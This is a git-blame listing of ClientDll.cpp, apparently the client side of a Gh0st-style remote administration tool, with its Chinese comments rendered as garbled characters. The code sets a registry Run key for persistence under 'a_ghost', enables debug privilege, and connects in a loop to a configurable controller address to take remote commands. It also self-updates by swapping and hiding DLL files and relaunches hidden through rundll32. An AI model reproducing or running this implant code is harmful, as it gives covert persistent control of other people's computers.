2019-01-05 20:21:43 +08:00
|
|
|
|
// ClientDll.cpp : Defines the entry point for the DLL application.
|
|
|
|
|
|
//
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "Common.h"
|
|
|
|
|
|
#include "IOCPClient.h"
|
|
|
|
|
|
#include <IOSTREAM>
|
|
|
|
|
|
#include "LoginServer.h"
|
|
|
|
|
|
#include "KernelManager.h"
|
2024-12-29 20:47:14 +08:00
|
|
|
|
#include <iosfwd>
|
|
|
|
|
|
#include <vector>
|
|
|
|
|
|
#include <iostream>
|
|
|
|
|
|
#include <fstream>
|
|
|
|
|
|
#include <sstream>
|
|
|
|
|
|
#include <shellapi.h>
|
|
|
|
|
|
#include <corecrt_io.h>
|
2019-01-05 20:21:43 +08:00
|
|
|
|
using namespace std;
|
|
|
|
|
|
|
2024-12-28 18:35:34 +08:00
|
|
|
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
|
|
|
|
|
#define REG_NAME "a_ghost"
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
// Զ<>̵<EFBFBD>ַ
|
2025-03-13 23:34:33 +08:00
|
|
|
|
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
|
2019-04-15 16:24:32 +08:00
|
|
|
|
|
2024-12-28 18:35:34 +08:00
|
|
|
|
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2019-04-15 16:24:32 +08:00
|
|
|
|
BOOL g_bExit = 0;
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
|
|
|
|
|
BOOL g_bThreadExit = 0;
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
HINSTANCE g_hInstance = NULL;
|
|
|
|
|
|
DWORD WINAPI StartClient(LPVOID lParam);
|
|
|
|
|
|
|
2019-01-06 21:18:26 +08:00
|
|
|
|
#if _CONSOLE
|
|
|
|
|
|
|
|
|
|
|
|
enum { E_RUN, E_STOP } status;
|
|
|
|
|
|
|
2024-12-28 18:35:34 +08:00
|
|
|
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
|
|
|
|
|
void DebugPrivilege()
|
|
|
|
|
|
{
|
|
|
|
|
|
HANDLE hToken = NULL;
|
|
|
|
|
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
|
|
|
|
|
|
|
|
|
|
|
if (hRet)
|
|
|
|
|
|
{
|
|
|
|
|
|
TOKEN_PRIVILEGES tp;
|
|
|
|
|
|
tp.PrivilegeCount = 1;
|
|
|
|
|
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
|
|
|
|
|
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
|
|
|
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
|
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
|
|
|
|
|
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
|
|
|
|
|
|
|
|
|
|
|
CloseHandle(hToken);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* @brief <EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @param[in] *sPath ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>
|
|
|
|
|
|
* @param[in] *sNmae ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @return <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @details Win7 64λ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><EFBFBD>Խ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
|
|
|
|
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
|
|
|
|
|
* @note <EFBFBD>״<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
*/
|
|
|
|
|
|
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
|
|
|
|
|
{
|
|
|
|
|
|
DebugPrivilege();
|
|
|
|
|
|
|
|
|
|
|
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
|
|
|
|
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
|
|
|
|
|
|
|
|
|
|
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
|
|
|
|
|
HKEY hKey = NULL;
|
|
|
|
|
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
|
|
|
|
|
if (lRet != ERROR_SUCCESS)
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
|
|
|
|
|
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
|
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
|
|
|
|
|
return lRet == ERROR_SUCCESS;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-03-25 22:25:14 +08:00
|
|
|
|
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
|
|
|
|
|
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
|
|
|
|
|
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
|
|
|
|
|
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD>
|
|
|
|
|
|
|
2019-01-06 21:18:26 +08:00
|
|
|
|
BOOL CALLBACK callback(DWORD CtrlType)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
|
|
|
|
|
{
|
|
|
|
|
|
g_bExit = true;
|
|
|
|
|
|
while (E_RUN == status)
|
|
|
|
|
|
Sleep(20);
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int main(int argc, const char *argv[])
|
|
|
|
|
|
{
|
2024-12-28 18:35:34 +08:00
|
|
|
|
if (!SetSelfStart(argv[0], REG_NAME))
|
2019-01-06 21:18:26 +08:00
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
2019-01-06 21:18:26 +08:00
|
|
|
|
}
|
2024-12-28 18:35:34 +08:00
|
|
|
|
|
|
|
|
|
|
status = E_RUN;
|
|
|
|
|
|
|
2019-01-07 20:46:03 +08:00
|
|
|
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
|
|
|
|
|
if (ERROR_ALREADY_EXISTS == GetLastError())
|
|
|
|
|
|
{
|
|
|
|
|
|
CloseHandle(hMutex);
|
|
|
|
|
|
return -2;
|
|
|
|
|
|
}
|
2019-01-06 21:18:26 +08:00
|
|
|
|
|
|
|
|
|
|
SetConsoleCtrlHandler(&callback, TRUE);
|
2024-12-28 18:35:34 +08:00
|
|
|
|
if (argc>=3)
|
|
|
|
|
|
{
|
|
|
|
|
|
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
|
|
|
|
|
}
|
|
|
|
|
|
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
2024-12-28 18:35:34 +08:00
|
|
|
|
Sleep(3000);
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
2019-01-06 21:18:26 +08:00
|
|
|
|
|
2025-01-01 18:36:44 +08:00
|
|
|
|
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
|
|
|
|
|
g_hInstance = GetModuleHandle(NULL);
|
|
|
|
|
|
if (g_hInstance != NULL) {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("HINSTANCE: %p\n", g_hInstance);
|
2025-01-01 18:36:44 +08:00
|
|
|
|
} else {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Failed to get HINSTANCE!\n");
|
2025-01-01 18:36:44 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
do{
|
|
|
|
|
|
g_bExit = 0;
|
|
|
|
|
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
|
|
|
|
|
|
|
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
|
|
CloseHandle(hThread);
|
|
|
|
|
|
}while (E_RUN == status && 1 != g_bExit);
|
2019-01-06 21:18:26 +08:00
|
|
|
|
|
|
|
|
|
|
status = E_STOP;
|
|
|
|
|
|
|
2019-01-07 20:46:03 +08:00
|
|
|
|
CloseHandle(hMutex);
|
2019-01-06 21:18:26 +08:00
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
#else
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|
|
|
|
|
DWORD ul_reason_for_call,
|
|
|
|
|
|
LPVOID lpReserved
|
|
|
|
|
|
)
|
|
|
|
|
|
{
|
|
|
|
|
|
switch (ul_reason_for_call)
|
|
|
|
|
|
{
|
|
|
|
|
|
case DLL_PROCESS_ATTACH:
|
|
|
|
|
|
case DLL_THREAD_ATTACH:
|
|
|
|
|
|
{
|
|
|
|
|
|
g_hInstance = (HINSTANCE)hInstance;
|
|
|
|
|
|
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-03-25 22:25:14 +08:00
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
2019-01-05 20:21:43 +08:00
|
|
|
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|
|
|
|
|
{
|
2024-12-28 18:35:34 +08:00
|
|
|
|
g_bExit = FALSE;
|
2024-12-29 20:47:14 +08:00
|
|
|
|
if (strlen(szServerIP)>0 && uPort>0)
|
|
|
|
|
|
{
|
|
|
|
|
|
g_SETTINGS.SetServer(szServerIP, uPort);
|
|
|
|
|
|
}
|
2024-12-29 01:09:06 +08:00
|
|
|
|
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
2024-12-27 01:40:40 +08:00
|
|
|
|
if (hThread == NULL) {
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#ifdef _DEBUG
|
2024-12-29 20:47:14 +08:00
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#else
|
|
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
|
|
#endif
|
|
|
|
|
|
CloseHandle(hThread);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
|
|
|
|
|
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
|
|
|
|
|
|
|
|
|
|
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
|
|
|
|
|
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
2024-12-28 18:35:34 +08:00
|
|
|
|
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
2019-04-15 16:24:32 +08:00
|
|
|
|
|
2024-12-29 20:47:14 +08:00
|
|
|
|
// copy from: SimpleRemoter\client\test.cpp
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
|
|
|
|
|
void RunNewDll(const char* cmdLine) {
|
|
|
|
|
|
char path[_MAX_PATH], * p = path;
|
|
|
|
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
|
|
|
|
while (*p) ++p;
|
|
|
|
|
|
while ('\\' != *p) --p;
|
|
|
|
|
|
*(p + 1) = 0;
|
|
|
|
|
|
std::string folder = path;
|
|
|
|
|
|
std::string oldFile = folder + "ServerDll.old";
|
|
|
|
|
|
std::string newFile = folder + "ServerDll.new";
|
|
|
|
|
|
strcpy(p + 1, "ServerDll.dll");
|
|
|
|
|
|
BOOL ok = TRUE;
|
|
|
|
|
|
if (_access(newFile.c_str(), 0) != -1) {
|
|
|
|
|
|
if (_access(oldFile.c_str(), 0) != -1)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (!DeleteFileA(oldFile.c_str()))
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
2024-12-29 20:47:14 +08:00
|
|
|
|
ok = FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
2024-12-29 20:47:14 +08:00
|
|
|
|
if (_access(path, 0) != -1)
|
|
|
|
|
|
{
|
|
|
|
|
|
ok = FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
else {
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
|
|
|
|
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
2024-12-29 20:47:14 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
2024-12-29 20:47:14 +08:00
|
|
|
|
MoveFileA(oldFile.c_str(), path);// recover
|
|
|
|
|
|
}
|
|
|
|
|
|
else if (ok) {
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Using new file: %s\n", newFile.c_str());
|
2024-12-29 20:47:14 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
char cmd[1024];
|
|
|
|
|
|
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
|
|
|
|
|
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
|
|
|
|
|
|
HWND hwnd: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><EFBFBD>Ϊ NULL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
HINSTANCE hinst: DLL <EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
LPSTR lpszCmdLine: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
int nCmdShow: <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<EFBFBD><EFBFBD>
|
|
|
|
|
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
|
|
|
|
|
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
|
|
|
|
|
*/
|
|
|
|
|
|
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
|
|
|
|
|
char message[256] = { 0 };
|
|
|
|
|
|
if (strlen(lpszCmdLine) != 0) {
|
|
|
|
|
|
strcpy_s(message, lpszCmdLine);
|
|
|
|
|
|
}else if (g_SETTINGS.IsValid())
|
|
|
|
|
|
{
|
|
|
|
|
|
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
std::istringstream stream(message);
|
|
|
|
|
|
std::string item;
|
|
|
|
|
|
std::vector<std::string> result;
|
|
|
|
|
|
while (std::getline(stream, item, ':')) {
|
|
|
|
|
|
result.push_back(item);
|
|
|
|
|
|
}
|
|
|
|
|
|
if (result.size() == 1)
|
|
|
|
|
|
{
|
|
|
|
|
|
result.push_back("80");
|
|
|
|
|
|
}
|
|
|
|
|
|
if (result.size() != 2) {
|
|
|
|
|
|
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-02-07 18:59:15 +08:00
|
|
|
|
do {
|
2024-12-29 20:47:14 +08:00
|
|
|
|
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
|
|
|
|
|
while (!IsStoped())
|
|
|
|
|
|
Sleep(20);
|
2025-02-07 18:59:15 +08:00
|
|
|
|
if (g_bExit == 1)
|
|
|
|
|
|
return;
|
|
|
|
|
|
else if (g_bExit == 2)
|
|
|
|
|
|
continue;
|
|
|
|
|
|
else // 3
|
|
|
|
|
|
break;
|
|
|
|
|
|
} while (true);
|
|
|
|
|
|
|
2024-12-29 20:47:14 +08:00
|
|
|
|
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
|
|
|
|
|
RunNewDll(message);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-06 21:18:26 +08:00
|
|
|
|
#endif
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI StartClient(LPVOID lParam)
|
|
|
|
|
|
{
|
|
|
|
|
|
IOCPClient *ClientObject = new IOCPClient();
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
g_bThreadExit = false;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
while (!g_bExit)
|
|
|
|
|
|
{
|
2025-02-06 04:15:34 +08:00
|
|
|
|
ULONGLONG dwTickCount = GetTickCount64();
|
2024-12-28 18:35:34 +08:00
|
|
|
|
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
for (int k = 500; !g_bExit && --k; Sleep(10));
|
|
|
|
|
|
continue;
|
|
|
|
|
|
}
|
|
|
|
|
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2024-12-29 01:09:06 +08:00
|
|
|
|
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
CKernelManager Manager(ClientObject);
|
|
|
|
|
|
bool bIsRun = 0;
|
|
|
|
|
|
do
|
|
|
|
|
|
{
|
|
|
|
|
|
Sleep(200);
|
|
|
|
|
|
|
|
|
|
|
|
bIsRun = ClientObject->IsRunning();
|
|
|
|
|
|
|
|
|
|
|
|
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
2024-12-31 03:11:26 +08:00
|
|
|
|
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
|
|
|
|
|
|
Sleep(200);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("StartClient end\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
delete ClientObject;
|
|
|
|
|
|
g_bThreadExit = true;
|
|
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|